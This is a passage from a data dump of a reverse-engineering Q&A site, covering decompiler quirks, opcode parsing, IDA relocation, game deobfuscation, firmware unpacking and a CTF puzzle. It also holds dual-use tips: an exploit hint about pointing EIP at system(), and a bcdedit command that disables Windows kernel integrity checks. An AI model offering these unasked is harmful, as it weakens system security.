[rsp+418h]&#xA;test    al, al&#xA;jz      loc_140008BAD&#xA;lea     rcx, [rsp+418h+handle] ; hIn&#xA;call    _ConfigureStdHandles&#xA;mov     esi, 1&#xA;mov     dword ptr [rsp+418h+var_268+4], esi&#xA;mov     eax, dword ptr [rsp+418h+handle]&#xA;mov     dword ptr [rsp+418h+var_268], eax&#xA;mov     dword ptr [rsp+418h+var_260+4], 2&#xA;mov     eax, dword ptr [rsp+418h+handle+8]&#xA;mov     dword ptr [rsp+418h+var_260], eax&#xA;mov     dword ptr [rsp+418h+var_258+4], 2&#xA;mov     eax, dword ptr [rsp+418h+handle+10h]&#xA;mov     dword ptr [rsp+418h+var_258], eax&#xA;cmp     [rsp+418h+var_230], r15b&#xA;jz      short loc_140008958&#xA;mov     [rsp+418h+var_268], r15&#xA;loc_140008958:  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The handles are for standard input, output and error respectively. Can you explain what does the &lt;code&gt;__PAIR__&lt;/code&gt; macro do with those handles?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="23069" LastEditDate="2018-05-25T18:27:56.010" LastActivityDate="2018-05-25T20:01:04.883" Title="What does _PAIR_ macro do with standard handles?" Tags="|disassembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18364" PostTypeId="2" ParentId="18363" CreationDate="2018-05-25T19:45:19.617" Score="1" Body="&lt;p&gt;&lt;code&gt;__PAIR__&lt;/code&gt; represents a 64-bit value constructed from two 32-bit values. Because you have 64-bit variables (&lt;code&gt;var_260&lt;/code&gt; etc) being initialized by halves, decompiler detected a 64-bit move pattern and represented the right-hand side it as &lt;code&gt;__PAIR__&lt;/code&gt; helper. If you think it's wrong, you can fix it by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;fixing the stack variable to be two 32-bit ones instead of one 64-bit. You can do it by opening the stack frame view (e.g double-click on the stkvar)  and editing the  frame structure (e.g with D key). After refreshing (F5), the decompiler should show simple 32-bit assignments without &lt;code&gt;__PAIR__&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;splitting the 64-bit assignment into separate 32-bit ones. For that, use &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/cmd_split.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Split Assignment&quot;&lt;/a&gt; in the context menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/strong&gt; I suspect that those stack variables are not 64-bit integers but actually small structs of two members, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct handle_desc {&#xA;  int handle;&#xA;  int index;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;maybe look at how they’re used later in the code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-05-25T20:01:04.883" LastActivityDate="2018-05-25T20:01:04.883" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18365" PostTypeId="1" AcceptedAnswerId="19865" CreationDate="2018-05-26T04:33:13.960" Score="4" ViewCount="1888" Body="&lt;p&gt;It appears to me that in my function the compiler has reused a stack slot for two variables of types. However, Hex-Rays has not recognized it as such. How can I split the local variable into two?&lt;/p&gt;&#xA;" OwnerUserId="24523" LastActivityDate="2018-11-10T13:39:33.983" Title="How do I resolve IDA pro Hexrays aliased local variables?" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18366" PostTypeId="1" AcceptedAnswerId="18369" CreationDate="2018-05-26T05:16:18.310" Score="-1" ViewCount="131" Body="&lt;p&gt;Hex-Rays decompiled (with the assistance of pdb symbols) a piece of code as such: &lt;code&gt;XPerfAddIn::CFramesInfoSource::MatchEventDescriptor( (XPerfAddIn::CFramesInfoSource *)2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And by my following of the assembly, it is correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor     r15d, r15d&#xA;test    rax, rax&#xA;jz      loc_1800224C7&#xA;lea     r13, [rax+20h]&#xA;cmp     [r13+0], r15&#xA;jz      loc_1800224C7&#xA;lea     r12, [r14+28h]&#xA;mov     rax, [rsp+260h+a3]&#xA;mov     rcx, [rax]&#xA;cmp     rcx, cs:qword_180044990&#xA;jnz     loc_1800224C7&#xA;mov     rax, [rax+8]&#xA;cmp     rax, cs:qword_180044998&#xA;jnz     loc_1800224C7&#xA;lea     ecx, [r15+2]&#xA;mov     r9d, ecx        ; a4&#xA;lea     r8, MSHTML_CDOC_ONPAINT_START_V1 ; a3&#xA;mov     rdx, r12        ; a2&#xA;call    ?MatchEventDescriptor@CFramesInfoSource@XPerfAddIn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MatchEventDescriptor does not use the 'this' parameter in rcx, so it doesn't really matter what gets passed in. So &lt;em&gt;why&lt;/em&gt; would the compiler emit an extra lea instruction to pass in a constant 2 instead of just leaving it 0... or passing in the actual, correct this value?&lt;/p&gt;&#xA;" OwnerUserId="24523" LastEditorUserId="24523" LastEditDate="2018-05-26T15:52:08.953" LastActivityDate="2018-05-26T16:04:43.213" Title="Why would MSVC pass a constant &quot;2&quot; for an unused this parameter?" Tags="|ida|disassembly|msvc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18367" PostTypeId="2" ParentId="18340" CreationDate="2018-05-26T08:32:52.820" Score="1" Body="&lt;p&gt;Calling system@plt implies that you are calling system through the procedure linkage table, instead of directly. I would suggest pointing EIP at the address of the system function instead of at the plt version, as that tends to work reliably.&lt;/p&gt;&#xA;" OwnerUserId="24526" LastActivityDate="2018-05-26T08:32:52.820" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18368" PostTypeId="1" AcceptedAnswerId="18373" CreationDate="2018-05-26T11:17:33.780" Score="3" ViewCount="147" Body="&lt;p&gt;I have taken a dump of a game using Explorer Suite, and while looking at some obfuscated parts of the game PE's text section in IDA, I've seen code that follows this form: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rbp, 7FF633CE2790h&#xA;jmp rbp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I understand, code is meant to be relocatable, so why would a hardcoded address - which appears to be referring to a virtual address not known until runtime - be here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To deal with these &quot;hardcoded&quot; jump addresses, do I need rebase the PE in IDA to the virtual address it was located at when the program ran? I believe that the dumper I used rebases to 140000000, which of course causes IDA to be unable to analyze the above code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: here's a concrete example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; game.exe+1B9E0E1E - 45 85 C0              - test r8d,r8d              ; ZF = r8d == 0&#xA; game.exe+1B9E0E21 - 48 89 6C 24 F8        - mov [rsp-08],rbp          ; rsp = &amp;amp;a&#xA; game.exe+1B9E0E26 - E9 D8897FFF           - jmp game.exe+1B1D9803&#xA;&#xA; game.exe+1B1D9803 - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &amp;amp;b&#xA; game.exe+1B1D9808 - 48 BD 7527F508F77F0000 - mov rbp,game.exe+1382775 ; rbp = addr1&#xA; game.exe+1B1D9812 - 48 87 2C 24           - xchg [rsp],rbp            ; b = addr1, rbp = rbp&#xA; game.exe+1B1D9816 - E9 E6F33C02           - jmp game.exe+1D5A8C01&#xA;&#xA; game.exe+1D5A8C01 - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &amp;amp;c&#xA; game.exe+1D5A8C06 - 48 89 1C 24           - mov [rsp],rbx             ; c = rbx&#xA; game.exe+1D5A8C0A - 48 89 44 24 F8        - mov [rsp-08],rax          ; d = rax&#xA; game.exe+1D5A8C0F - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &amp;amp;d&#xA; game.exe+1D5A8C14 - E9 D8151C00           - jmp game.exe+1D76A1F1&#xA;&#xA; game.exe+1D76A1F1 - 48 8B 5C 24 10        - mov rbx,[rsp+10]          ; rbx = b&#xA; game.exe+1D76A1F6 - 48 B8 9027F508F77F0000 - mov rax,game.exe+1382790 ; rax = addr2&#xA; game.exe+1D76A200 - E9 CA476400           - jmp game.exe+1DDAE9CF&#xA;&#xA; game.exe+1DDAE9CF - 48 0F44 D8            - cmove rbx,rax             ; rbx = (r8d == 0) ? addr2 : addr1&#xA; game.exe+1DDAE9D3 - 48 89 5C 24 10        - mov [rsp+10],rbx          ; b = rbx (addr1 or addr2)&#xA; game.exe+1DDAE9D8 - 48 8B 04 24           - mov rax,[rsp]                      &#xA; game.exe+1DDAE9DC - 48 8D 64 24 08        - lea rsp,[rsp+08]          ; rsp = &amp;amp;c&#xA; game.exe+1DDAE9E1 - E9 08F408FD           - jmp game.exe+1AE3DDEE              &#xA;&#xA; game.exe+1AE3DDEE - 48 8B 1C 24           - mov rbx,[rsp]&#xA; game.exe+1AE3DDF2 - 48 8D 64 24 08        - lea rsp,[rsp+08]          ; rsp = &amp;amp;b&#xA; game.exe+1AE3DDF7 - 48 8D 64 24 08        - lea rsp,[rsp+08]          ; rsp = &amp;amp;a&#xA; game.exe+1AE3DDFC - FF 64 24 F8           - jmp qword ptr [rsp-08]    ; r8d == 0: jmp addr2, else jmp addr1&#xA;&#xA; ; addr1&#xA; game.exe+1382775 - E9 234F0800           - jmp game.exe+140769D&#xA;&#xA; ; addr2&#xA; game.exe+1382790 - E9 FDAD991C           - jmp game.exe+1DD1D592&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24467" LastEditorUserId="24467" LastEditDate="2018-05-26T22:47:26.377" LastActivityDate="2018-05-27T06:06:02.943" Title="Hardcoded addresses in dumped PEs" Tags="|disassembly|deobfuscation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18369" PostTypeId="2" ParentId="18366" CreationDate="2018-05-26T16:04:43.213" Score="1" Body="&lt;p&gt;Apparently &lt;code&gt;ecx&lt;/code&gt; is just used as a temporary for calculating the value 2 which is copied to &lt;code&gt;r9d&lt;/code&gt; and is probably used later in the function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When  the decompiler does not have reliable information about function prototype, it has to resort to heuristics, or guessing.  Since the demangled function name looks like a C++ method, it assumes that it’s a method of a class &lt;code&gt;XPerfAddIn::CFramesInfoSource&lt;/code&gt; and since it’s not marked &lt;code&gt;static&lt;/code&gt;, it probably takes in the class instance in &lt;code&gt;rcx&lt;/code&gt; as common for the &lt;code&gt;thiscall&lt;/code&gt; calling convention, thus the value in &lt;code&gt;rcx&lt;/code&gt; (&lt;code&gt;ecx&lt;/code&gt;) is assumed to be the &lt;code&gt;this&lt;/code&gt; pointer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you analyzed the function and deduced that it does not actually use &lt;code&gt;rcx/ecx&lt;/code&gt;, you can edit the function prototype, remove the &lt;code&gt;this&lt;/code&gt; argument and &lt;code&gt;__thiscall&lt;/code&gt; calling convention to get “proper” decompilation. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-26T16:04:43.213" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18370" PostTypeId="2" ParentId="18368" CreationDate="2018-05-26T19:41:58.750" Score="1" Body="&lt;p&gt;One possible explanation could be dealing with a game which incorporates &lt;strong&gt;Absolute code&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually most of the games you run on a regular daily machine are fully relocatable for ensuring maximum stability across different machines. However especially in the case of ROMs such as games for consoles and such there are some predefined memory locations which the manufacturer / OS could provide / specify for say making it easier and faster to run console-specific functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, a code like that usually relies on a known memory location which the linker / programmer trusts and is &lt;em&gt;certain&lt;/em&gt; that it contains the appropriate code, locations like that could  e explicitly specified in the machine documentation / developer guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this is a PE which is on Windows it looks a little weird, especially since the address is I the range of the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/virtual-address-spaces&quot; rel=&quot;nofollow noreferrer&quot;&gt;per process VA space&lt;/a&gt;, probably this address indeed points to some special function or that the process itself requested this location to be allocated and loaded with code for usage as a part of the obfuscation which might pose a justification to such call and to trusting this address.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastEditorUserId="22915" LastEditDate="2018-05-26T19:56:29.590" LastActivityDate="2018-05-26T19:56:29.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18371" PostTypeId="1" AcceptedAnswerId="18386" CreationDate="2018-05-26T20:07:54.603" Score="3" ViewCount="2493" Body="&lt;p&gt;I have been using the &lt;a href=&quot;https://github.com/gdabah/distorm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Distorm&lt;/a&gt; library, using the &lt;code&gt;distorm_decode()&lt;/code&gt; function in x64 to retrieve Opcode and Operands from binary code. For example, &lt;code&gt;44 0F45 C8&lt;/code&gt; is decoded to &lt;code&gt;cmovne r9d,eax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a way to parse the hex binary instruction to extract the opcode part of it, in the example &lt;code&gt;44 *0F45* C8&lt;/code&gt;, would like to extract &lt;code&gt;*0F45*&lt;/code&gt; which is the &lt;code&gt;cmovne&lt;/code&gt; opcode part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at &lt;a href=&quot;http://ref.x86asm.net/coder64.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and I was thinking of maybe doing a lookup at a given Hex Opcode, given a mnemonic string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other built in libraries like Distorm that can achieve this? As far as I understand, Distorm has a &lt;a href=&quot;https://github.com/gdabah/distorm/wiki/DecomposeInterface&quot; rel=&quot;nofollow noreferrer&quot;&gt;distorm_decompose&lt;/a&gt; function and interface, but I can't reach to the &lt;code&gt;cmovne&lt;/code&gt; binary representation &lt;code&gt;*0F45*&lt;/code&gt; from the &lt;code&gt;struct _DInst&lt;/code&gt; returned from that call.&lt;/p&gt;&#xA;" OwnerUserId="12793" LastEditorUserId="53" LastEditDate="2018-05-28T12:18:04.683" LastActivityDate="2018-05-29T22:24:55.657" Title="Parse Opcodes from Binary Code" Tags="|disassembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18373" PostTypeId="2" ParentId="18368" CreationDate="2018-05-26T22:56:24.203" Score="2" Body="&lt;p&gt;From reading up about the obfuscation tool in use here, this is a technique it uses to make the analysis a little harder.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question is how to work around this:&lt;br&gt;&#xA;I'm thinking I could use a script to find these absolute addresses in the dumped PE, and convert them to ones that IDA can find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After loading the dumped executable into IDA with a couple of different base addresses, I've found that the address constant changed. I've also found an entry in the executable's relocation directory for &lt;code&gt;game.exe+1B1D980A&lt;/code&gt; (which is where the address constant in the code example is located). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could disable the relocation that IDA is performing on these addresses, the analysis would work properly. I will submit a new question on that.&lt;/p&gt;&#xA;" OwnerUserId="24467" LastEditorUserId="24467" LastEditDate="2018-05-27T06:06:02.943" LastActivityDate="2018-05-27T06:06:02.943" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18374" PostTypeId="1" AcceptedAnswerId="18398" CreationDate="2018-05-27T06:38:22.897" Score="1" ViewCount="659" Body="&lt;p&gt;I am working with a dumped program, and I essentially want to load it into IDA without performing any (relocation) address fixups. Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following without success:&lt;br&gt;&#xA;1. Manually loading it, and choosing &lt;em&gt;not&lt;/em&gt; to load the .reloc section&lt;br&gt;&#xA;2. Rebasing the image base to zero&lt;/p&gt;&#xA;" OwnerUserId="24467" LastActivityDate="2018-05-28T19:53:23.617" Title="How do I load an executable into IDA without it correcting relocatable references?" Tags="|ida|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18376" PostTypeId="2" ParentId="18374" CreationDate="2018-05-27T17:21:34.847" Score="0" Body="&lt;p&gt;Rename the &quot;.reloc&quot; section, if IDA can't find it, it can't relocate the image.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-05-27T17:21:34.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18378" PostTypeId="2" ParentId="18374" CreationDate="2018-05-27T17:53:58.003" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1375.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;environment variable &lt;code&gt;IDA_NORELOC&lt;/code&gt;&lt;/a&gt; might work.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-27T17:53:58.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18380" PostTypeId="1" AcceptedAnswerId="18395" CreationDate="2018-05-27T21:09:45.260" Score="4" ViewCount="3478" Body="&lt;p&gt;I want to analyze an embedded firmware (car's ecu). My problem is, the file is compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware comes with a description xml file, which states that it is divided into sections and that those sections are individually compressed, using the NRV algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some searching, and none of the usual suspects (magic strings) are in the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program that actually flashes the firmware over CAN is written in Java, so I tried decompiling it. That worked, but there are just definitions of functions, there is no flow, who the program is running, which values are passed to the functions, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were usual assembler code, I'd just attach a debugger to the running program and had a look at the calls. But I do not know if this is possible in Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how would I start to decompress the firmware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded both firmware and respective xml, maybe some can nudge me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!bctSTB5S!ZYKN48DgJYQnOU1yMkIEcpheoYFG0wgtTrZqNfxtwE4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.nz/#!bctSTB5S!ZYKN48DgJYQnOU1yMkIEcpheoYFG0wgtTrZqNfxtwE4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of those NRV compressed files, for various ecus with different processors and architectures. So the decompression has to take place on the computer that flashes the firmware.&lt;/p&gt;&#xA;" OwnerUserId="24536" LastActivityDate="2024-04-05T21:18:28.983" Title="Extracting compressed firmware (NRV) for analysis" Tags="|unpacking|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18381" PostTypeId="1" AcceptedAnswerId="18388" CreationDate="2018-05-27T23:59:23.047" Score="0" ViewCount="650" Body="&lt;p&gt;While reverse engineering a windows executable I found the &lt;code&gt;DeviceIoControl&lt;/code&gt; function, and i'm trying to figure out the correct inputs so it does not return a zero, it get's the &lt;code&gt;[ebp+hDevice]&lt;/code&gt; from the return of the &lt;code&gt;CreateFileA&lt;/code&gt; function, the &lt;code&gt;[ebp+buffer]&lt;/code&gt; address stores a value that was read earlier from the input, it's the only variable that I have control over&#xA;&lt;a href=&quot;https://i.stack.imgur.com/95R24.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/95R24.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone explain what the &lt;code&gt;DeviceIoControl&lt;/code&gt; function works, and how can I get it to return something eles than 0, &#xA;thank you!!&lt;/p&gt;&#xA;" OwnerUserId="24230" LastEditorUserId="24230" LastEditDate="2018-05-28T00:04:43.520" LastActivityDate="2018-07-06T08:40:18.173" Title="Reversing: DeviceIoControl return value" Tags="|ida|assembly|function-hooking|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18382" PostTypeId="1" AcceptedAnswerId="18531" CreationDate="2018-05-28T00:26:23.810" Score="-1" ViewCount="3498" Body="&lt;p&gt;I'm currently working through a series of CTF forensics challenge and have run into a file format that I am dead-ending on. The format has no recognizable File Magic Number - and the file itself is filled with odd repetitive sequences of text like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Enter/Down/Down/Enter/Down/Down/Down/Enter/Down/Down/Down/readme.txtAnd the path, to you, remains clear.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for avenues of research? &lt;/p&gt;&#xA;" OwnerUserId="24160" LastEditorUserId="245" LastEditDate="2018-06-15T18:51:53.433" LastActivityDate="2018-06-15T18:51:53.433" Title="Trying to identify a file format for CTF forensics challenge" Tags="|file-format|digital-forensics|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18383" PostTypeId="2" ParentId="18382" CreationDate="2018-05-28T00:31:53.733" Score="0" Body="&lt;p&gt;It seems just a simple text file, what I think &lt;code&gt;/Down/&lt;/code&gt; means a parent directory, so it's just a path to a &lt;code&gt;readme.txt&lt;/code&gt; file, you just have to navigate to it, and find what it there. the indication at the end &lt;code&gt;the path to you remains clear&lt;/code&gt; confirms what I said&lt;/p&gt;&#xA;" OwnerUserId="24230" LastActivityDate="2018-05-28T00:31:53.733" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18384" PostTypeId="1" AcceptedAnswerId="18387" CreationDate="2018-05-28T02:26:05.250" Score="4" ViewCount="581" Body="&lt;p&gt;&lt;strong&gt;I had hex-edited windows kernel&lt;/strong&gt; file &lt;code&gt;c:\windows\system32\ntoskrnl.exe&lt;/code&gt; to fix some assembly bytes in the way i need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;System wont boot&lt;/strong&gt; because of &lt;strong&gt;&lt;code&gt;STATUS_IMAGE_CHECKSUM_MISMATCH&lt;/code&gt;&lt;/strong&gt; error (0xC0000221; restore screen on boot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i need to boot edited version anyway. &lt;strong&gt;How to disable&lt;/strong&gt; that kind of &lt;strong&gt;integrity check?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24539" LastActivityDate="2020-05-20T07:07:40.393" Title="ntoskrnl checksum mismatch" Tags="|windows|kernel|windows-10|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18385" PostTypeId="2" ParentId="14129" CreationDate="2018-05-28T02:37:32.740" Score="2" Body="&lt;p&gt;The BinDiff algorithm is a matching algorithm that can be used to classify malware.It performs structural matching using a call graph or flow control chart. By default, three attributes are used for the matching function (number of edges between blocks in the functions, number of returns in the function and the number of basic blocks that make up the function). In other words, &lt;strong&gt;the signature is the characteristics (calculated attributes) of each function&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pointing to the second question, the strategy that applies to build initial matches is basically finding unique blocks (signatures created by unique attributes).&lt;/p&gt;&#xA;" OwnerUserId="24540" LastActivityDate="2018-05-28T02:37:32.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18386" PostTypeId="2" ParentId="18371" CreationDate="2018-05-28T05:39:25.203" Score="4" Body="&lt;p&gt;Basically your usual x86_64 Intel CISC instructions have 2 different opcode formats legacy and VEX.&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;h2&gt;Common opcodes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The legacy opcodes which includes the most common ones used consists of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 - 4 bytes legacy prefixes which are optional&lt;/li&gt;&#xA;&lt;li&gt;1 byte of a REX prefix which is sometimes required&lt;/li&gt;&#xA;&lt;li&gt;1 - 3 bytes of opcode&lt;/li&gt;&#xA;&lt;li&gt;1 - 18 bytes of additional operand/mode data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, you are only interested in the sequence of the 1 - 3 bytes&#xA;In order to extract it from a single instruction you need to determine whether the prefixes &quot;ended&quot; and how long the opcode is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second point is pretty simple, the opcode pattern is as such:&#xA;Let # denote a single byte&#xA;A sequence of bytes is a legacy x86 opcode can only be in one of the following patterns:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;#&lt;/li&gt;&#xA;&lt;li&gt;0x0F # ← This is the pattern in your example&lt;/li&gt;&#xA;&lt;li&gt;0x0F 0x3A #&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The second part appears more tricky since there are theoretically many combinations for those 5 prefix bytes (legacy + prefix).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Legacy prefix bytes were used by certain operations to mark another meaning, for example to make an operation on other memory segment, this is a limited set which consists (according to &lt;a href=&quot;https://wiki.osdev.org/X86-64_Instruction_Encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;) of:&#xA;0xF0, 0xF2, 0xF3, 0x2E, 0x36, 0x3E, 0x26, 0x64, 0x65, 0x66 and 0x67&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a 1-4 byte sequence of these bytes at the start should be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The REX prefix is used to operate in long mode and is usually used when 64 bit register operands are present or when an extended register is used R8 - R15. As this is also a prefix, this also should be ignored&#xA;A REX prefix always starts with the bit sequence &lt;code&gt;0100&lt;/code&gt; being the &lt;em&gt;most significant nibble&lt;/em&gt; of the byte (0x4X).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Althogh it does not cover  all instructions this should should suffice for most of the daily x86 instructions you encounter.&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's apply the method above to analyze the instruction:&#xA;0x44 0F 45 C8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all prefixes, 0x44 isn't in the legacy set, but it is obvious from the most significant (left) nibble 4 digit that this is a REX prefix. (0100 0100 here). Which means we're done with prefixes, next is the opcode, 0x0F and a byte, done matching 2-byte opcode, and it's indeed &lt;code&gt;0F45&lt;/code&gt; as you can &lt;a href=&quot;http://www.felixcloutier.com/x86/CMOVcc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify&lt;/a&gt;. The remaining trailing opcode data is ignored. Done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other type of operations is VEX / XOP which are used mainly for vector / floating point operations but their detection is more complex. You can learn more about them &lt;a href=&quot;https://en.m.wikipedia.org/wiki/VEX_prefix#Technical_description&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastEditorUserId="22915" LastEditDate="2018-05-28T07:25:00.653" LastActivityDate="2018-05-28T07:25:00.653" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18387" PostTypeId="2" ParentId="18384" CreationDate="2018-05-28T07:35:26.330" Score="4" Body="&lt;p&gt;You don't disable that kind of integrity check, you simply &lt;strong&gt;set the checksum&lt;/strong&gt;. The one that's relevant in this particular case is the respective field in the &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt;, that is &lt;code&gt;IMAGE_OPTIONAL_HEADER::CheckSum&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you will likely run into additional issues once you resolved this one. I am not sure if the kernel itself is subject to &lt;a href=&quot;https://github.com/Microsoft/Windows-driver-samples/tree/master/security/elam&quot; rel=&quot;nofollow noreferrer&quot;&gt;Early Launch scans&lt;/a&gt;, but I reckon there's a reason why these binaries are also code-signed. So at the very least you may want to disable the integrity checks altogether from an elevated prompt: &lt;code&gt;bcdedit.exe /set nointegritychecks on&lt;/code&gt; (make sure to reboot afterwards). Another point to consider is UEFI with enabled Secure Boot. In this case the Windows boot manager will somehow check the images it's asked to load. But since details are missing, it's not clear if this might be the cause of the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Various functions can be used to compute a checksum for a PE file. The probably easiest method is using the Image Help Library function &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680355.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;MapFileAndCheckSum()&lt;/code&gt;&lt;/a&gt; or alternatively (&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms679281.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CheckSumMappedFile()&lt;/code&gt;&lt;/a&gt;). If I remember correctly there are a few more, including one &lt;code&gt;Ldr*&lt;/code&gt; function from &lt;code&gt;ntdll.dll&lt;/code&gt; which can be used to that 